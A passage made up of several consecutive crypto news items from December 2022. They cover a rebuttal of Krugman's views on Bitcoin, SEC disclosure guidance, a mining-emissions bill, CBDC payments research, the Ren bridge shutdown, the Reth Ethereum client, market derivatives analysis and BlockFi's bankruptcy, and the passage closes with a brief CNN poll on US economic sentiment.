However, this thesis has evolved over time. Most notably, in 2017, when a great debate arose within the Bitcoin community over whether to prioritize its functionality as a means of payment or its characteristics as a store of value. The will of the store of value proponents prevailed, and the dissidents created Bitcoin Cash. Since then, the predominant consensus is that Bitcoin should strive to be a substitute for gold, not fiduciary currencies — with the added benefits of greater portability and resistance to seizure.
In light of these characteristics, Bitcoin has become greatly sought after in extreme situations — such as the war in Ukraine and Venezuela’s hyperinflationary crisis — by ordinary people rather than criminals, as Krugman wrongly suggests. Evidently, Bitcoin has a long way to go before it effectively establishes itself as`a true store of value — the first step of which would be achieving greater price stability. Additionally, there are other use cases under development. The needed scalability improvements, which would allow it to flourish as a means of payment, have been assigned to the so-called layer-2 solutions, such as the Lightning Network. One of Bitcoin’s most recent updates implemented in September allowed for the creation of tokens within its network. Crypto has continued to evolve, but Krugman is still hung up on the 2008 white paper. The eventual failure of Bitcoin as a means of payment would not mean the end of Bitcoin itself, much less the end of all crypto assets.
Underpinned by this misunderstanding about the general nature of crypto assets and, in particular, of Bitcoin, Krugman arrives at conclusions that, despite being coherent within themselves, are completely mistaken, such as, for instance, his argument that the crypto industry would not survive increased levels of regulation. In 1998, when discussing a comparable topic, Krugman wrongly stated: “By 2005, it will become clear that the Internet’s impact on the economy has been no greater than the fax machine’s.” His bias against crypto assets may lead to predictions as inaccurate as his now-infamous quote about the future impact of the internet.

Well-designed regulation for companies that provide services associated with crypto assets is welcomed by the vast majority of industry participants and is actually perceived as a development that would foster the confidence among investors needed to propel this technology toward mass adoption. Furthermore, many of the services offered by these companies are of a financial nature and, as the successive events that have occurred this year have shown us, contagion effects exist. This in itself justifies the need for greater regulation. Just as Krugman stated in the first line of his op-ed, “recent events have made clear the need to regulate crypto.” He was correct on that point.
It's likely that the crisis created by FTX will spur regulators to expedite their efforts around the world and, consequently, help to consolidate crypto assets and blockchain technology. Just as Krugman’s misguided predictions haven’t meant the demise of his reputation, this crisis is not the end game for crypto.

The Securities and Exchange Commission's corporate finance division reminded companies of disclosure requirements and provided guidance to what else they want to know.
The United States Securities and Exchange Commission (SEC) has issued new guidance that could see publicly traded companies disclose their exposure to crypto assets.
In a statement released on Dec. 8, the SEC’s Division of Corporation Finance said that the recent upheaval in the crypto asset market has “caused widespread disruption” and noted that companies may have disclosure obligations under federal securities laws to disclose whether these events could have an impact on their business.
The SEC has also included an example letter that would be addressed to companies asking for additional disclosures about the company’s exposure to crypto bankruptcies, crypto asset volatility and any other significant crypto market development.
The first question asks the company to provide disclosure of any “significant crypto asset market developments” that could impact the company’s financial condition, results, or share price, including the impact of the price volatility of crypto assets.
Other questions ask the company to discuss how certain bankruptcies have impacted or may impact the business, including whether one has experienced “excessive redemptions or withdrawals” or the extent that crypto assets are being used as collateral for loans.
The sample letter also asks the company to describe any material risks to the business from regulatory developments relating to crypto assets, or risks faced by the assertion of jurisdiction by U.S. and foreign regulators or other government entities over crypto assets and crypto asset markets.
In the accompanying text, the SEC explained that it “selectively reviews filings […] to monitor and enhance compliance with applicable disclosure requirements.”
It noted that companies are already required to supply additional information as needed to avoid misleading investors.

“In meeting their disclosure obligations, companies should consider the need to address crypto asset market developments in their filings,” the agency added.
The SEC has been gearing up for greater crypto oversight in recent months, opening new offices — an Office of Crypto Assets and an Office of Industrial Applications and Services — specifically for that purpose. The SEC and other agencies have come under fire recently for their lack of enforcement in high-profile cases.

The Crypto-Asset Environmental Transparency Act would instruct the Environmental Protection Agency to report on crypto mining activity consuming more than five megawatts.
Three United States lawmakers have introduced legislation that would direct the Environmental Protection Agency (EPA) to report on the energy usage and environmental impact of crypto miners.
In a Dec. 8 announcement, California Representative Jared Huffman and Massachusetts Senator Ed Markey said they were “sounding the alarm” on the energy use from crypto mining in the United States, claiming that Bitcoin (BTC) miners accounted for roughly 1.4% of the country’s electricity consumption. Together with Senator Jeff Merkley, the lawmakers introduced the Crypto-Asset Environmental Transparency Act, which would instruct the EPA to report on mining activity consuming more than five megawatts.
“Granting this industry impunity to inflict such environmental harm runs counter to numerous federal policies, and we need to understand the full harm this industry presents,” said Huffman. “My bill with Senator Markey will require cryptomining facilities to report their carbon dioxide emissions, as well as a detailed interagency study on crypto’s environmental impacts — finally pulling the curtain back on this industry.”
It’s time we pull back the curtain on crypto’s harmful environmental impacts.
— Rep. Jared Huffman (@RepHuffman) December 8, 2022
Today, @SenMarkey and I introduced a bill to get the transparency we need for oversight and accountability in this industry.https://t.co/6jzDrRyIq1
Markey and Huffman cited concerns over climate change as part of their reasons to act expeditiously to regulate the crypto industry. A draft of the bill included claims of “noise and water pollution” caused by miners.
Scott Faber, the Environmental Working Group’s senior vice president for government affairs, voiced support for the legislation, calling proof-of-work cryptocurrencies “wasteful by design” and claiming BTC and other tokens would incentivize miners to use more electricity:
“The recently completed ethereum merge and past code changes show that transformation by the bitcoin community is possible — the way we’ve all adapted to new ways of powering our homes and cars and how we grow our food. [...] Every industry, including the financial sector, can reduce its electricity use and greenhouse gas emissions. Adding more electricity demand – as proof of work mining will ultimately require – sends us in the wrong direction.”

Despite the Ethereum blockchain transitioning from proof-of-work to the less energy-intensive proof-of-stake in 2022, many U.S. lawmakers have continued to target cryptocurrencies for electricity consumption. In October, Massachusetts Senator Elizabeth Warren joined six other members of Congress in requesting information from the head of the Electric Reliability Council of Texas on the energy usage and potential environmental impact of crypto miners.

The Digital Money Institute’s third annual payments report looks at central bank digital currencies for the first time, as well as other payment methods, through the lens of cross-border payment utility.
Central bank digital currency (CBDC) development aims squarely at inclusion, both for the central bank in the national economy and for the people it serves. Meanwhile, the technology for cross-border payments is being developed elsewhere for the most part, according to a new report on the payments industry.
The Digital Money Institute (DMI), part of the Official Monetary and Financial Institutions Forum think tank, released its third annual Future of Payments report on Dec. 8. The report was sponsored by several payments companies and the crypto exchange Binance, and those companies penned sections that supplemented DMI's findings. This was the first time it included a survey of central banks.
The DMI staff found in its survey that CBDC development was “gaining momentum,” with two-thirds of central banks expecting to have CBDCs within a decade. Another 12% of central bank respondents said they did not expect to issue a CBDC at all. When asked about their objectives, more than a quarter of central banks mentioned preserving their roles in money provision and more than 10% mentioned financial inclusion. “Other” was indicated more often.
None of the banks chose “aid cross-border payments” as one of their objectives. Nonetheless, almost 35% of the banks saw interlinking CBDCs as the most promising way to improve those payments. When asked about stablecoins, nearly 90% of banks identified them as “an opportunity to make cross-border payments more efficient.”

Fiat-based cross-border payment systems are developing rapidly. However, there are significant hurdles to achieving global reach, especially data exchange, as only around 70 countries have adopted the financial messaging standard known as ISO20022. The DMI report assures that “regionally integrated payment networks offer an exciting prospect.” Still, 80% of African cross-border transactions are processed off the continent. In general, payments are “unlikely to be a ‘winner-takes-all’ kind of fight," the report said. "The variety of payments systems will grow, creating competition and diversity in the marketplace."

Cryptocurrency and stablecoins are making their greatest strides in emerging economies, as they offer the advantages of disintermediation (which enables faster settlement across time zones), cost savings and accessibility, but have the potential downsides of volatility and unreliability. In the authors’ opinion:
“Vulnerable nations should invest in bringing down the cost of remittances and broadening access to financial services to reduce the exposure of vulnerable economic groups to volatile and unsafe cryptocurrency products.”
Finally, the report looks at the metaverse from a payments perspective, calling it “first and foremost, a model for a digital economy.” In the metaverse, cross-platform interoperability is key and will likely require “major changes to business models.” In turn:
“Developing the infrastructure to make metaverse payments stable, secure, interoperable and free from financial crime will have a huge impact on the broader payments landscape.”
The report cites a Citi estimate that the metaverse addressable market could reach $13 trillion.

The team stated on Twitter that deposits would be disabled “shortly” and withdrawals within 30 days.
The developers of bridging platform Ren have warned users to unwrap their tokens and bridge them back to their native chains “ASAP,” or risk losing them.
1) Important notice ⚠️
— Ren (@renprotocol) December 7, 2022
As announced previously, the Ren 1.0 network is shutting down due to the events surrounding Alameda
As compatibility between Ren 1.0 and 2.0 cannot be guaranteed, holders of Ren assets should bridge back to native chains ASAP, or risk losing them! https://t.co/20vpGBc8W0
The team tweeted that mints on Ren will be disabled “shortly,” meaning that it will be impossible to deposit any assets onto the platform to bridge to other networks. In 30 days, “burns” (withdrawals) will also be disabled.
RenVM, the company behind the project, previously stated on Nov. 18 that it would be releasing a new version of the protocol, Ren 2.0, “in parallel” with the shutdown of the current one. This implied that the current bridged assets might still be usable after the shutdown of Ren 1.0.
However, this new announcement makes clear that current assets may not be usable in the newer version of the platform, so users may get these assets stuck in the platform if they don’t withdraw them soon.
Ren users have relied on it to bridge assets since 2017. But in February 2021, RenVM was acquired by Alameda Research. This led to a funding shortfall after Alameda filed for bankruptcy in November.

In the Nov. 18 post, the team explained that they had decided to speed up the move to Ren 2.0 because of this funding shortfall.
The new announcement caused confusion on social media as some users wondered if the Ren token itself was in some kind of danger. One user asked, “If we hold tokens on cex do we need to do something?” and another worried, “I’m confused My REN token is in ledger dose the update effect me too?”
One frustrated Ren holder replied by asking the team to issue a clarification, stating that the announcement has led to “panic selling.”
The team has not replied to these individual tweets. But in the announcement thread, it did issue detailed instructions to users on how to check to see if they have bridged assets they need to withdraw.

November saw a reduction in BTC mining revenue for publicly traded miners, a decline in venture capital investment, and signals of Bitcoin going to $12,000.
The crypto markets have been in decline since the start of the second quarter of 2022. Each time it seemed like the apparent crypto winter would experience a minor thaw, another notable collapse happened: Celsius, Three Arrows Capital, and more recently, FTX.
Approaching the end of 2022, it appears that the same negative sentiments are likely to remain. While some analysts say that Bitcoin (BTC) and Ether (ETH) derivatives are currently flashing positive signals for the market due to their high volatility, that same volatility is impacting the sentiment of other areas, including regulation, mining, nonfungible tokens (NFTs) and crypto stocks. Even with all this, companies such as Porsche are getting into the Web3 and NFT space and Brazil passed a law legalizing crypto payments nationwide. Over 60 deals from venture capital were still completed in November, bringing $800 million of capital inflows into the space. There are many great things being built during this time of uncertainty, but it is admittedly hard to ignore the current market conditions.
Download and purchase this report on the Cointelegraph Research Terminal.
Bitcoin is the bellwether of the entire crypto industry, and the market bottom may not yet be in. Historical bear market price drawdowns suggest BTC could still see a drop to the $12,000–$14,000 range.
With all this uncertainty, it’s useful to have subject matter experts who can help navigate all the various facets of the cryptoverse. This is why every month, Cointelegraph Research releases its Investor Insights Report analyzing key indicators from multiple sectors of the blockchain industry, including regulation, crypto mining, security tokens, Bitcoin and Ether derivatives and VC activities — all explored by those working closely with the subject matter.
Potential further downside in Bitcoin price
All eyes turn to Bitcoin as the market looks for any kind of clues from the past that might inform the future. Bitcoin has held up astonishingly well despite the constant speed bumps that have gotten in its way.
As seen in the chart below, Bitcoin has historically reached drawdowns of 80% or greater from its previous highs during the halving cycle before climbing as it heads into the next bull market. While this cycle may be different due to all of the positive things Bitcoin and crypto have achieved over the past few years, it is still likely that it will at least touch the $12,000–$14,000 range before rebounding in the short to medium term.

A previous version of Ethereum for Rust had been released by Erigon in June, but the team stopped supporting it due to a lack of resources.
Web3 investment firm Paradigm has released a Rust implementation of Ethereum, according to a Dec. 7 announcement from the company’s chief technology officer, Georgios Konstantopoulos. The new software, called “Reth,” allows Ethereum validators to launch their nodes using Rust instead of Go, Java, or other programming languages.
A previous Rust implementation had been released in June, but developers stopped supporting it in November when they learned that Reth was under development, according to a post by the Erigon team.
In the announcement, Konstantopoulos stated that the software has been released in order to “[contribute] to Ethereum’s stability by improving client diversity,” as well as to provide node software that will perform well.
Excited to be open-sourcing Reth, an Ethereum execution layer in @rustlang
— Georgios Konstantopoulos (@gakonst) December 7, 2022
Reth is a new Apache/MIT-licensed full-node implementation of Ethereum by @paradigm and the community, focused on contributor-friendliness, modularity, and performance.https://t.co/hgzkDk9FhL
In the Ethereum developer community, “client diversity” refers to the idea that no single version of node software should dominate the network. Developers believe that if a single version of the software dominates, this could lead to network instability from bugs or exploits. The Ethereum documentation puts it this way:
“Multiple, independently developed and maintained clients exist because client diversity makes the network more resilient to attacks and bugs. Multiple clients is a strength unique to Ethereum - other blockchains rely on the infallibility of a single client. However, it is not enough simply to have multiple, clients available, they have to be adopted by the community and the total active nodes distributed relatively evenly across them.”
A chart within the Ethereum docs shows that over 80% of Ethereum validators currently use Geth, which is a version of Ethereum written in Go. The docs state that this percentage is “problematic” for the network.
The developers of Reth agree that Geth’s dominance is a problem. In a blog post, they say:
“The Ethereum protocol benefits from client diversity when no client has >66% dominance [...] With Reth, we hope to grow the pie of clients in the ecosystem to contribute to the network’s health while keeping our consensus-critical adoption in check.”

Its founder, Vitalik Buterin, has recently written about his excitement for the future of the network.

Regulatory pressure continues to limit each upside breakout, but data shows some compelling reasons for an eventual crypto market rally.
The total cryptocurrency market capitalization has dropped 1.5% in the past seven days to rest at $840 billion. The slightly negative movement did not break the ascending channel initiated on Nov. 12, although the overall sentiment remains bearish and year-to-date losses amount to 64%.
Bitcoin (BTC) price dropped 0.8% on the week, stabilizing near the $16,800 level at 10:00 UTC on Dec. 8 — even though it eventually broke above $17,200 later on the day. Discussions related to regulating crypto markets pressured markets and the FTX exchange collapse limited traders' appetites, causing lawmakers to turn their attention to the potential impact on financial institutions and the retail investors' lack of protection.
On Dec. 6, the Financial Crimes Enforcement Network (FinCEN) said it is "looking carefully" at decentralized finance (DeFi), with the agency's acting director, Himamauli Das, saying that digital asset ecosystem and digital currencies are a "key priority area." In particular, the regulator was concerned with DeFi's "potential to reduce or eliminate the role of financial intermediaries" that are critical to its efforts against money laundering and terrorist financing.
Hong Kong's legislative council approved a new licensing regime for virtual asset service providers. From June 2023, cryptocurrency exchanges will be subject to the same legislation followed by traditional financial institutions. The change will require stricter Anti-Money Laundering and investor protection measures before being guaranteed a license to operate.
Meanwhile, Australian financial regulators are actively working on methods for incorporating payment stablecoins into the regulatory framework for the financial sector. On Dec. 8, the Reserve Bank of Australia published a report on stablecoins that cited risks of disruptions to funding markets, such as bank exposure and liquidity. The analysis highlighted the particular fragility of algorithmic stablecoins, noting the Terra-Luna ecosystem collapse.
The 1.5% weekly drop in total market capitalization was impacted mainly by Ether's (ETH) 3% negative price move and BNB (BNB), which traded down 2.5%. Still, the bearish sentiment significantly impacted altcoins, with 10 of the top 80 coins dropping 8% or more in the period.
Trust Wallet (TWT) gained 18.6% as the service provider gained market share from the browser extension wallet launch in mid-November.
Axie Infinity Shards (AXS) rallied 17.6% as investors adjusted their expectations after a drastic 89% correction since the 1Q of 2022.
Chainlink (LINK) saw a 10.1% correction after its staking program opened up for early access on Dec. 6, indicating investors had anticipated the event.
1INCH dropped 15.2% after 15% of the supply was unlocked on Dec. 1 under its original four-year vesting schedule.
Leverage demand is balanced between bulls and bears
Perpetual contracts, also known as inverse swaps, have an embedded rate usually charged every eight hours. Exchanges use this fee to avoid exchange risk imbalances.
A positive funding rate indicates that longs (buyers) demand more leverage. However, the opposite situation occurs when shorts (sellers) require additional leverage, causing the funding rate to turn negative.
The seven-day funding rate was near zero for Bitcoin and altcoins, meaning the data points to a balanced demand between leveraged longs (buyers) and shorts (sellers) in the period.
Traders should also analyze the options markets to understand whether whales and arbitrage desks have placed higher bets on bullish or bearish strategies.
The options put/call ratio reflects moderate bullishness
Traders can gauge the market's overall sentiment by measuring whether more activity is going through call (buy) options or put (sell) options. Generally speaking, call options are used for bullish strategies, whereas put options are for bearish ones.
A 0.70 put-to-call ratio indicates that put options open interest lag the more bullish calls by 30% and is therefore bullish. In contrast, a 1.40 indicator favors put options by 40%, which can be deemed bearish.
Even though Bitcoin's price failed to break the $17,500 resistance on Dec. 5, there was only temporary excessive demand for downside protection using options.
Presently, the put-to-call volume ratio stands near 0.40 as the options market is more strongly populated by neutral-to-bearish strategies, favoring call (buy) options by 60%.

Derivatives markets point to upside potential
Despite the weekly price decline in a handful of altcoins and the 2% drop in total market capitalization, there have been no signs of sentiment worsening, according to derivatives metrics.
There's balanced demand for leverage using futures contracts, and the BTC options risk assessment metric remains favorable even after Bitcoin's price failed to break above the $17,500 level.
Consequently, the odds favor those betting that the ascending channel will prevail, propelling the total market capitalization to the $875 billion resistance. A break above the channel would give bulls much-needed breathing room after a week of negative newsflow.

According to a former employee, an internal team at BlockFi raised concerns about the borrower pool being too concentrated among crypto whales such as Three Arrows Capital and Alameda.
Following BlockFi’s Chapter 11 bankruptcy filing with the United States Bankruptcy Court for the District of New Jersey, reports have surfaced about the crypto lending company’s risk assessment and management culture.
As early as 2020, the company culture discouraged employees from “describing risks in written internal communications to avoid liability,“ a former BlockFi employee told Forbes.
Although BlockFi claimed risk management was core to their DNA and central to their mission, reports surfacing paint a different picture of the company. BlockFi executives appear to have prioritized aggressive growth, while dismissing risk management professionals who attempted to do their job.
According to a former employee, an internal team at BlockFi raised concerns about the borrower pool being too concentrated among crypto whales, including mega hedge funds Three Arrows Capital and Alameda Research, to which the management responded that the loans were collateralized.
Reports surfacing about BlockFi’s risk assessment and management culture seem to counter the image the crypto lending firm portrayed to its clients. In a blog post that was updated after the FTX collapse, the company maintained: “Risk management is one of BlockFi’s key strategic advantages and differentiators, powering our track record of delivering market leading interest payments, access to client funds, and preservation of client capital through all market environments.”

During the first day of hearings in its bankruptcy proceedings, a lawyer for BlockFi shared that the crypto lender has an estimated $355 million stuck on FTX, while the collapsed exchange’s sister company, Alameda Research, had defaulted on a $680 million loan.
While FTX and Alameda owe BlockFi an estimated $1 billion, the state of financial obligations appears to be complicated by the $400 million line of credit extended to BlockFi by FTX.US on July 1.
BlockFi, which previously denied having a majority of its assets custodied at FTX, has cited the collapse of FTX as the reason for its woes.

Americans' views of the state of the nation have bounced back slightly since earlier this year, a new CNN poll conducted by SSRS finds, but public perception of the economy remains grim. Nearly half of Americans say they're financially worse off than they were a year ago, the survey finds, with more than 90% expressing concerns about the cost of living and the majority cutting expenses in response. Only 35% of US adults say that things are going well in the country today, with 65% saying things are going badly. That, however, marks a modest improvement from surveys this summer and fall, when fewer than 3 in 10 said things were going well. The share who now say things are going very badly is 19%, down from 34% in CNN's polling this summer and 26% in October. The positive shift in mood is most evident among Democrats, 58% of whom now say things are going well, up from 47% in October.
